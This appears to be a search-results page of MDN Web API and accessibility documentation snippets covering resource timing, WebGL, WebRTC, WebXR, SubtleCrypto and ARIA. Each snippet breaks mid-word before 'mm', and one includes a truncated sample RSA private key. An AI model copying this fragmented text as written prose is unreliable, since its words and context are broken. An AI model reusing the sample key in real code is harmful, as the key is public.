mmediately failing, you could choose to call retry() on the response object to ask the user agent to try to process the payment again; this should usually only be done after the user has made any needed corrections to the order.
...} document.getelementbyid("buybutton").onclick = requestpayment; specifications specification status co
mment payment request apithe definition of 'show(optional detailspromise)' in that specification.
... candidate reco
mmendation initial definition.
PerformanceEntry.startTime - Web APIs
"resource" - returns the timestamp i
mmediately before the browser starts fetching the resource.
... = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status co
mment performance timeline level 2the definition of 'starttime' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'starttime' in that specification.
... reco
mmendation initial definition.
PerformanceResourceTiming.connectStart - Web APIs
the connectstart read-only property returns the timestamp i
mmediately before the user agent starts establishing the connection to the server to retrieve the resource.
... syntax resource.connectstart; return value a domhighrestimestamp i
mmediately before the browser starts to establish the connection to the server to retrieve the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'connectstart' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.domainLookupEnd - Web APIs
the domainlookupend read-only property returns the timestamp i
mmediately after the browser finishes the domain name lookup for the resource.
... syntax resource.domainlookupend; return value a domhighrestimestamp representing the time i
mmediately after the browser finishes the domain name lookup for the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'domainlookupend' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.domainLookupStart - Web APIs
the domainlookupstart read-only property returns the timestamp i
mmediately before the browser starts the domain name lookup for the resource.
... syntax resource.domainlookupstart; return value a domhighrestimestamp i
mmediately before the browser starts the domain name lookup for the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'domainlookupstart' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time i
mmediately before the browser starts requesting the resource from the server, cache, or local resource.
... syntax resource.requeststart; return value a domhighrestimestamp representing the time i
mmediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'requeststart' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.responseEnd - Web APIs
the responseend read-only property returns a timestamp i
mmediately after the browser receives the last byte of the resource or i
mmediately before the transport connection is closed, whichever comes first.
... syntax resource.responseend; return value a domhighrestimestamp i
mmediately after the browser receives the last byte of the resource or i
mmediately before the transport connection is closed, whichever comes first.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'responseend' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.responseStart - Web APIs
the responsestart read-only property returns a timestamp i
mmediately after the browser receives the first byte of the response from the server, cache, or local resource.
... syntax resource.responsestart; return value a domhighrestimestamp i
mmediately after the browser receives the first byte of the response from the server.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'responsestart' in that specification.
... candidate reco
mmendation initial definition.
PerformanceResourceTiming.secureConnectionStart - Web APIs
the secureconnectionstart read-only property returns a timestamp i
mmediately before the browser starts the handshake process to secure the current connection.
... syntax resource.secureconnectionstart; return value if the resource is fetched over a secure connection, a domhighrestimestamp i
mmediately before the browser starts the handshake process to secure the current connection.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'secureconnectionstart' in that specification.
... candidate reco
mmendation initial definition.
Pointer events - Web APIs
most co
mmonly, the sensing device is a touch-enabled screen that can sense input from an input device such as a pen, stylus, or finger.
... the target element (node) should be large enough to acco
mmodate the largest contact surface area (typically a finger touch).
... specifications specification status co
mment pointer events – level 3 editor's draft added new apis for getcoalescedevent and getpredictedevents, new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down.
... pointer events – level 2 reco
mmendation adds haspointercapture method and clarifies more edge cases and dynamic scenarios.
Web Push API Notifications best practices - Web APIs
this article provides a useful su
mmary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement.
...searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to reco
mmended products.
...let’s say you and your team co
mmonly use a chat program to co
mmunicate, but today you’re happily working somewhere, and problem comes up.
...sometimes they can eliminate frustration and annoyance, and sometimes they can cause them, and it’s up to you as a developer to make wise reco
mmendations (and decisions) about the use of push notifications.
RTCPeerConnection.setIdentityProvider() - Web APIs
the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to co
mmunicate with it (optional) and an optional username.
... protocol optional is a domstring representing the protocol used to co
mmunicate with the idp.
... example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status co
mment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
... candidate reco
mmendation ...
RTCRtpSender.replaceTrack() - Web APIs
among the use cases for replacetrack() is the co
mmon need to switch between the rear- and front-facing cameras on a phone.
...the promise is rejected if the track cannot be replaced for any reason; this is co
mmonly because the change would require renegotiation of the codec, which is not allowed (see things that require negotiation).
...k = stream.getvideotracks()[0]; pcs.foreach(function(pc) { var sender = pc.getsenders().find(function(s) { return s.track.kind == videotrack.kind; }); console.log('found sender:', sender); sender.replacetrack(videotrack); }); }) .catch(function(err) { console.error('error happens:', err); }); specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcrtpsender.replacetrack()' in that specification.
... candidate reco
mmendation ...
SVGGraphicsElement - Web APIs
svggraphicselement.getctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to its svg viewport's coordinate system.
... svggraphicselement.getscreenctm() returns a do
mmatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggraphicselement' in that specification.
... candidate reco
mmendation initial definition ...
SVGUnitTypes - Web APIs
the svgunittypes interface defines a co
mmonly used set of constants used for reflecting gradientunits, patterncontentunits and other similar attributes.
... specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgunittypes' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
... reco
mmendation initial definition ...
Screen Wake Lock API - Web APIs
the screen wake lock api provides a way to prevent devices from di
mming or locking the screen when an application needs to keep running.
... the screen wake lock api prevents the screen from turning off, di
mming or locking.
... screen wake lock api interfaces wakelock the wakelock interface prevents device screens from di
mming or locking when an application needs to keep running.
... specifications specification status co
mment screen wake lock api unknown initial definition.
Selection - Web APIs
safari and chrome (unlike firefox) currently focus the element containing selection when modifying the selection progra
mmatically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696).
... behavior of selection api in terms of editing host focus changes the selection api has a co
mmon behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called.
...range objects can also be created via the dom and progra
mmatically added or removed from a selection.
... specifications specification status co
mment selection apithe definition of 'selection' in that specification.
Using server-sent events - Web APIs
you can take action on this progra
mmatically by implementing the onerror callback on the eventsource object: evtsource.onerror = function(err) { console.error("eventsource failed:", err); }; closing event streams by default, if the connection between the client and server closes, the connection is restarted.
...a colon as the first character of a line is in essence a co
mment, and is ignored.
... note: the co
mment line can be used to prevent connections from timing out; a server can send a co
mment periodically to keep the connection alive.
...the first is just a co
mment, since it starts with a colon character.
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
use this method with clients.claim() to ensure that updates to the underlying service worker take effect i
mmediately for both the current client and all other active clients.
... syntax serviceworkerglobalscope.skipwaiting().then(function() { //do something }); returns a promise that i
mmediately resolves with undefined.
...therefore, it's co
mmon to call self.skipwaiting() from inside of an installevent handler.
... self.skipwaiting(); // perform any other actions required for your // service worker to install, potentially inside // of event.waituntil(); }); specifications specification status co
mment service workersthe definition of 'skipwaiting()' in that specification.
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for sy
mmetric algorithms) or key pair (for public-key algorithms).
... return value result is a promise that fulfills with a cryptokey (for sy
mmetric algorithms) or a cryptokeypair (for public-key algorithms).
... let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification.
... reco
mmendation initial definition.
SubtleCrypto.importKey() - Web APIs
str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2hcasqafikyoouv5vzyre87/leyzzbpf3bqq4idaqu+k9hj5fkuu6rroeohsdnjc+vddqlschxvmolz9vtt+ok9j4/tolwr4cg8khdlburcby6gpclo3dpu09sw+6ctx2cx4mkxx6o/0
mmdtmacr/vu50kdrmlefezyowpaehhmfywybtuzbipvizvp8wfcsknmbfi1s9a9pdbqnebwwhhx3/hsebt2bagmbaaecggeabei1p6nf6zs7mjlybdv+pfl5rjl2coqly6tovvzvblmkcppjyfunipdk2tk2i897zaxfhpdbikmllm2hq6jzqkb110oantpdg0jxzmiihps32s1d/kilhjgff4hjd4nxp1l1dp8bupollorr2tym2x6dccgfw9lhtr8o03qp4hjn84vjgiwadyck83mgs4nrsnhkdiqynwx1ajkly51yek6rcrdmi0th2rxrrinoc35svv+apt2rkomgi52rwtesea1kzgfrxjq61rejif6p2vxecvhex6cwlx014lgk43z6q28p6h...
...ja5sobzk73/9/mbekusdmjprhalzqfmujrwioevdmhfg3tw/rbj5ryatp2dtvumqkbgds8yr52drmt+bwxofwwawb0nhyhsfz/c8v4d4ip5dj5m5kuqquxjwksysgqa40sbqnd05fbqovplu48hfgr/zghn9hujbcsozovozr4srw0uztbva+7jzoz1hkaoywiulr6vca0yurnlj6g5r56+srnkioetupi2dlczcqb0poxaogazynhvtlvizn4igsrjz5qkm4liwbithfadxbv1fq6pt0o/bgf2o+cedq0diylgk64cevwbwsbnsg4vzlbqriauejljwedajya4ee8y5a9l04dzv7njb5crak6crgxxay/mbjrftahxvlazgxypgsye6ufs0+3eo
mmevvdzqbf4qecgyea0zf6vavz28+8wlo6sp3w8nmphk7k9tgevufq30sgdx4g7qpigfprbb4op/e0qcfsiimi3scppjvumqdvvzypoimub+rv3zoxkrzxeuorpopr48fzbl7rn90yrqsasrp9e4iv8qwb3vxle7x0tdqqnryqrc/osgzus2zchokmcu8= -----end private key-----`; /* import a pem encoded rsa private key, to use for rsa-pss signing.
...*/ function importprivatekey(jwk) { return window.crypto.subtle.importkey( "jwk", jwk, { name: "ecdsa", namedcurve: "p-384" }, true, ["sign"] ); } specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.importkey()' in that specification.
... reco
mmendation initial definition.
TouchEvent.metaKey - Web APIs
su
mmary a boolean value indicating whether or not the meta key is enabled when the touch event is created.
... note: on macintosh keyboards, this is the ⌘ co
mmand key.
... specifications specification status co
mment touch events – level 2 draft non-stable version.
... touch events reco
mmendation initial definition.
URLSearchParams.set() - Web APIs
line #41: co
mment out this line to stop dumping the search parameters to the console (debug).
... line #44: tries to automatically open a new window/tab with the generated url (when unco
mmented).
...params.set( 'input', '\u2911\u20dc' )// ⤑⃜ theurl.searchparams.set( 'text', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } console.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line co
mments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line co
mments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyword.url',\t\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "va...
...r url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple.net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status co
mment urlthe definition of 'set()' in that specification.
USBDevice.controlTransferIn() - Web APIs
the controltransferin() method of the usbdevice interface returns a promise that resolves with a usbintransferresult when the result of a co
mmand or status request has been received from the usb device.
...the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (co
mmon to all usb devices) "class" (co
mmon to an industry-standard class of devices) or "vendor".
... request: a vendor-specific co
mmand.
... specifications specification status co
mment webusbthe definition of 'controltransferin()' in that specification.
ValidityState.stepMismatch - Web APIs
if the remainder of the form control's value less the min value, divided by the step value (which defaults to 1 if o
mmitted) is not zero, there is a mismatch.
... specifications specification status co
mment html living standardthe definition of 'validitystate.stepmismatch' in that specification.
... reco
mmendation html5the definition of 'validitystate.stepmismatch' in that specification.
... reco
mmendation ...
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods specifying matrix values for uniform variables.
... sync objects webgl2renderingcontext.fencesync() creates a new webglsync object and inserts it into the gl co
mmand stream.
... webgl2renderingcontext.waitsync() returns i
mmediately, but waits on the gl server until the given webglsync object is signaled.
... specifications specification status co
mment webgl 2.0the definition of 'webgl2renderingcontext' in that specification.
WebGLRenderingContext.disable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard deactivates that primitives are discarded i
mmediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() co
mmands are ignored.
... examples gl.disable(gl.dither); to check if a capability is disabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // false specifications specification status co
mment webgl 1.0the definition of 'disable' in that specification.
... reco
mmendation initial definition for webgl.
WebGLRenderingContext.enable() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded i
mmediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() co
mmands are ignored.
... examples gl.enable(gl.dither); to check if a capability is enabled, use the webglrenderingcontext.isenabled() method: gl.isenabled(gl.dither); // true specifications specification status co
mment webgl 1.0the definition of 'enable' in that specification.
... reco
mmendation initial definition for webgl.
WebGLRenderingContext.getTexParameter() - Web APIs
gl.texture_i
mmutable_format glboolean i
mmutability of the texture format and size true or false.
... gl.texture_i
mmutable_levels gluint ?
... examples gl.gettexparameter(gl.texture_2d, gl.texture_mag_filter); specifications specification status co
mment webgl 1.0the definition of 'gettexparameter' in that specification.
... reco
mmendation initial definition for webgl.
WebGLRenderingContext.isEnabled() - Web APIs
when using a webgl 2 context, the following values are available additionally: constant description gl.rasterizer_discard primitives are discarded i
mmediately before the rasterization stage, but after the optional transform feedback stage.
... gl.clear() co
mmands are ignored.
... examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific capability, use the webglrenderingcontext.enable() and webglrenderingcontext.disable() methods: gl.enable(gl.stencil_test); gl.disable(gl.stencil_test); specifications specification status co
mment webgl 1.0the definition of 'isenabled' in that specification.
... reco
mmendation initial definition for webgl.
WebGLRenderingContext.scissor() - Web APIs
examples when the scissor test is enabled, only pixels within the scissor box can be modified by drawing co
mmands.
... // turn on scissor test gl.enable(gl.scissor_test); // set the scissor rectangle gl.scissor(x, y, width, height); // execute drawing co
mmands in the scissor box (e.g.
... gl.scissor(0, 0, 200, 200); gl.getparameter(gl.scissor_box); // int32array[0, 0, 200, 200] specifications specification status co
mment webgl 1.0the definition of 'scissor' in that specification.
... reco
mmendation initial definition.
Basic scissoring - Web APIs
although the clear() drawing co
mmand writes the clear color (set by clearcolor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated.
...if they fail the test, they are i
mmediately discarded, no further processing occurs, and pixels are not updated.
...this again demonstrates the typical order of co
mmands in webgl.
...only when the webgl state has been satisfactorily tweaked, we execute the drawing co
mmand (in this case, clear()) that starts the processing of fragments down the graphics pipeline.
WebGL constants - Web APIs
r32ui 0x8236 rg8i 0x8237 rg8ui 0x8238 rg16i 0x8239 rg16ui 0x823a rg32i 0x823b rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_i
mmutable_format 0x912f texture_i
mmutable_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_rev 0x8368 unsigned_int_10f_11f_11f_rev 0x8c3b unsigned_int_5_9_9_9_rev 0x8c3e float_32_unsigned_int_24_8_rev 0x8dad unsigned_int_24_8 0x84fa ...
... uniform_block_referenced_by_vertex_shader 0x8a44 uniform_block_referenced_by_fragment_shader 0x8a46 sync objects constant name value description object_type 0x9112 sync_condition 0x9113 sync_status 0x9114 sync_flags 0x9115 sync_fence 0x9116 sync_gpu_co
mmands_complete 0x9117 unsignaled 0x9118 signaled 0x9119 already_signaled 0x911a timeout_expired 0x911b condition_satisfied 0x911c wait_failed 0x911d sync_flush_co
mmands_bit 0x00000001 miscellaneous constants constant name value description ...
... specifications specification status co
mment webgl 1.0the definition of 'webglrenderingcontext' in that specification.
... reco
mmendation initial definition webgl 2.0the definition of 'webgl2renderingcontext' in that specification.
Matrix math for the web - Web APIs
in math these numbers would be described as co
mmutative.
... matrices are not guaranteed to be the same if the order is switched, so matrices are non-co
mmutative.
... let transfor
mmatrix = mdn.multiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to reverse the steps to bring the matrix back to the original identity matrix.
... let transfor
mmatrix = mdn.multiplyarrayofmatrices([ scale(1.25, 1.25, 1.25), // step 6: scale back up translate(0, -200, 0), // step 5: move back up rotatearoundzaxis(-math.pi * 0.5), // step 4: rotate back rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); why matrices are important matrices are important because they comprise a small set of numbers that can describe a wide range of transformations in space.
Lifetime of a WebRTC session - Web APIs
webrtc lets you build peer-to-peer co
mmunication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
... signaling signaling is the process of sending control information between two devices to determine the co
mmunication protocols, channels, media codecs and formats, and method of data transfer, as well as any required routing information.
... information exchanged during signaling there are three basic types of information that need to be exchanged during signaling: control messages used to set up, open, and close the co
mmunication channel, and to handle errors.
...the signaling server is, in essence, a relay: a co
mmon point which both sides connect to knowing that their signaling data can be transferred through it.
A simple RTCDataChannel sample - Web APIs
the api is intentionally similar to the websocket api, so that the same progra
mming model can be used for each.
...a side channel, co
mmonly called a “signalling server,” is usually used to exchange the description (which is in application/sdp form) between the two peers.
...the user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can i
mmediately begin to type, enabling the "send" and "disconnect" buttons, now that they're usable, and disabling the "connect" button, since it is not needed when the conneciton is open.
...the rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can i
mmediately begin typing another message.
WebRTC Statistics API - Web APIs
co
mmonly used statistics reference the rtcstatsreport object contains a map of named objects based one of the rtcstats dictionary's subclasses.
... rtctransportstats rtcstats specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'webrtc statistics types' in that specification.
... candidate reco
mmendation compatibility for individual statistic types webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcstatsreport' in that specification.
... candidate reco
mmendation compatibility of statistic reporting ...
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced technology that makes it possible to open a two-way interactive co
mmunication session between the user's browser and a server.
... caddy: a web server capable of proxying arbitrary co
mmands (stdin/stdout) as a websocket.
... related topics ajax javascript specifications specification status co
mments html living standardthe definition of 'websocket api' in that specification.
... living standard websockets candidate reco
mmendation rfc 6455: the websocket protocol ietf rfc ...
Lighting a WebXR setting - Web APIs
ambient light is co
mmonly present simply to prevent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low.
... because the bouncing and scattering of light can be expensive to compute in real time, especially if multiple light sources are involved, it's co
mmon to use ambient lighting to simulate the scattered light caused by all the other light sources in the scene, instead of actually calculating the true effect of light scattering.
... the most co
mmon example of a directional light is the sun.
... between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected back tends to be brightest at the closest point to the light source and di
mmer the farther away it is.
WebXR performance guide - Web APIs
in this guide, we'll examine a variety of suggestions and reco
mmendations that will help you make your webxr app as performant as possible.
... can probably also include stuff from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
... this section will come in part from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ...
... this section will combine information from https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/i
mmersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
WebXR Device API - Web APIs
webxr-compatible devices include fully-i
mmersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...events which co
mmunicate tracking states will also use xrframe to contain that information.
... performance and security webxr performance guide reco
mmendations and tips to help you optimize the performance of your webxr application.
... specifications specification status co
mment webxr device api working draft initial definition.
Migrating from webkitAudioContext - Web APIs
it was first implemented in webkit, and some of its older parts were not i
mmediately removed as they were replaced in the specification, leading to many sites using non-compatible code.
... new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not i
mmediately work out of the box in a compliant web audio implementation.
... this article attempts to su
mmarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines.
...e); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return i
mmediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
WindowEventHandlers - Web APIs
the windoweventhandlers mixin describes the event handlers co
mmon to several interfaces like window, or htmlbodyelement and htmlframesetelement.
... specifications specification status co
mment html living standardthe definition of 'windoweventhandlers' in that specification.
... reco
mmendation snapshot of html living standard.
... reco
mmendation snapshot of html living standard.
WindowOrWorkerGlobalScope.atob() - Web APIs
you can use the btoa() method to encode and transmit data which may otherwise cause co
mmunication problems, then transmit it and use the atob() method to decode the data again.
... specifications specification status co
mment html living standardthe definition of 'windoworworkerglobalscope.atob()' in that specification.
... reco
mmendation snapshot of html living standard.
... reco
mmendation snapshot of html living standard.
WindowOrWorkerGlobalScope.btoa() - Web APIs
you can use this method to encode data which may otherwise cause co
mmunication problems, transmit it, then use the atob() method to decode the data again.
... specifications specification status co
mment html living standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification.
... reco
mmendation snapshot of html living standard.
... reco
mmendation snapshot of html living standard.
Using XMLHttpRequest - Web APIs
examples of both co
mmon and more obscure use cases for xmlhttprequest are included.
... handling binary data although xmlhttprequest is most co
mmonly used to send and receive textual data, it can be used to send and receive binary content.
... the reco
mmended way to enable cross-site scripting is to use the access-control-allow-origin http header in the response to the xmlhttprequest.
... specifications specification status co
mment xmlhttprequest living standard live standard, latest version ...
XMLHttpRequest - Web APIs
xmlhttprequest is used heavily in ajax progra
mming.
... if your co
mmunication needs to involve receiving event data or message data from a server, consider using server-sent events through the eventsource interface.
... for full-duplex co
mmunication, websockets may be a better choice.
... specifications specification status co
mment xmlhttprequest living standard live standard, latest version ...
XRPermissionDescriptor.requiredFeatures - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples in this example, permissions are checked to ensure that the user has granted permission for the site or app to use i
mmersive augmented reality mode with the local-floor reference space (presumably since the user is unlikely to start to fly).
... let xrpermissiondesc = { name: "xr", mode: "i
mmersive-ar", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status co
mment webxr device apithe definition of 'xrpermissiondescriptor.requiredfeatures' in that specification.
XRPermissionDescriptor - Web APIs
mode an xrsessionmode value indicating the xr mode (inline, i
mmersive-vr, or i
mmersive-ar) for which the permissions are requested.
... examples the example below demonstrates performing the permission request for an application that requires the local-floor reference space in an i
mmersive-vr environment.
... let xrpermissiondesc = { name: "xr", mode: "i
mmersive-vr", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); }...
... } else { setupxr(); } specifications specification status co
mment webxr device apithe definition of 'xrpermissiondescriptor' in that specification.
XRReferenceSpace: reset event - Web APIs
this is co
mmon when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it.
...most co
mmon among them are the following: the user has manually reset the coordinate system, such as by requesting that the headset recalibrate itself to ensure that the facing direction and hand controllers are synchronized with the user's actual position and facing.
... the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the i
mmediate vicinity of the last-known position.
...first, you can use the addeventlistener() method: viewerrefspace.addeventlistener("reset", (event) => { /* perform reset related tasks */ }); the second option is to set the xrreferencespace object's onreset event handler property: viewerrefspace.onreset = (event) => { /* perform reset related tasks */ }; specifications specification status co
mment webxr device apithe definition of 'reset event' in that specification.
XRSession.updateRenderState() - Web APIs
this property must not be specified for i
mmersive sessions, so the value is null by default for i
mmersive sessions.
... the inlineverticalfieldofview property was set, but the session is i
mmersive and therefore does not allow this property to be used.
... examples this example creates a webgl context that is compatible with an i
mmersive xr device and then uses it to create an xrwebgllayer.
... function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status co
mment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification.
XRSystem: isSessionSupported() - Web APIs
this string must be one of inline (to present the webxr content inline within the context of an html document) or i
mmersive-vr for a fully-i
mmersive virtual experience.
... examples in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an i
mmersive-vr session is supported.
... if (navigator.xr) { navigator.xr.issessionsupported('i
mmersive-vr') .then((issupported) => { if (issupported) { userbutton.addeventlistener('click', onbuttonclicked); userbutton.innerhtml = 'enter xr'; userbutton.disabled = false; } }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('i
mmersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown...
... xrsession.end(); } } specifications specification status co
mment webxr device apithe definition of 'issessionsupported()' in that specification.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
return value a floating-point value which, when multiplied by the xrsession's reco
mmended framebuffer dimensions, results in the xr device's native frame buffer resolution.
...in any case, multiplying the reco
mmended resolution as identified by the xrsession by this value will result in the actual native resolution of the xr hardware.
... the reco
mmended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an acceptable balance of image quality and performance.
... specifications specification status co
mment webxr device apithe definition of 'static xrwebgllayer.getnativeframebufferscalefactor()' in that specification.
ARIA live regions - Accessibility
aria live regions fill this gap and provide a way to progra
mmatically expose dynamic content changes in a way that can be announced by assistive technologies.
...screen reader users have a special co
mmand to read the current status.
...(tbd: link to aria form tutorial with aria info) to maximize compatibility, some people reco
mmend adding a redundant aria-live="assertive" when using this role.
...this is the most co
mmonly used value, as interrupting the user with "assertive" might interrupt their flow.
Using the aria-invalid attribute - Accessibility
aria-invalid can also be used to indicate that a required field has not been filled in.the attribute should be progra
mmatically set as a result of a validation process.
... values vocabulary: false (default) no errors detected gra
mmar a gra
mmatical error has been detected.
... <input name="name" id="name" aria-required="true" aria-invalid="false" onblur="checkvalidity('name', ' ', 'invalid name entered (requires both first and last name)');"/> <br /> <input name="email" id="email" aria-required="true" aria-invalid="false" onblur="checkvalidity('email', '@', 'invalid e-mail address');"/> note that it is not necessary to validate the fields i
mmediately on blur; the application could wait until the form is submitted (though this is not necessarily reco
mmended).
... used in aria roles all elements of the base markup related aria techniques using the aria-required attribute using the alert role compatibility tbd: add support information for co
mmon ua and at product combinations additional resources wai-aria specification for the aria-invalid property wai authoring practices for forms ...
ARIA: application role - Accessibility
escape is the most co
mmon way of switching back to browse mode.
...in a slides application, for example, a widget could be created that uses the arrow keys to position elements on the slide, and uses audio feedback via an aria live region to co
mmunicate the position and overlap status with other objects.
...if used, the application role should be added to the lowest co
mmon container possible, not on the <body> element, for example.
... reco
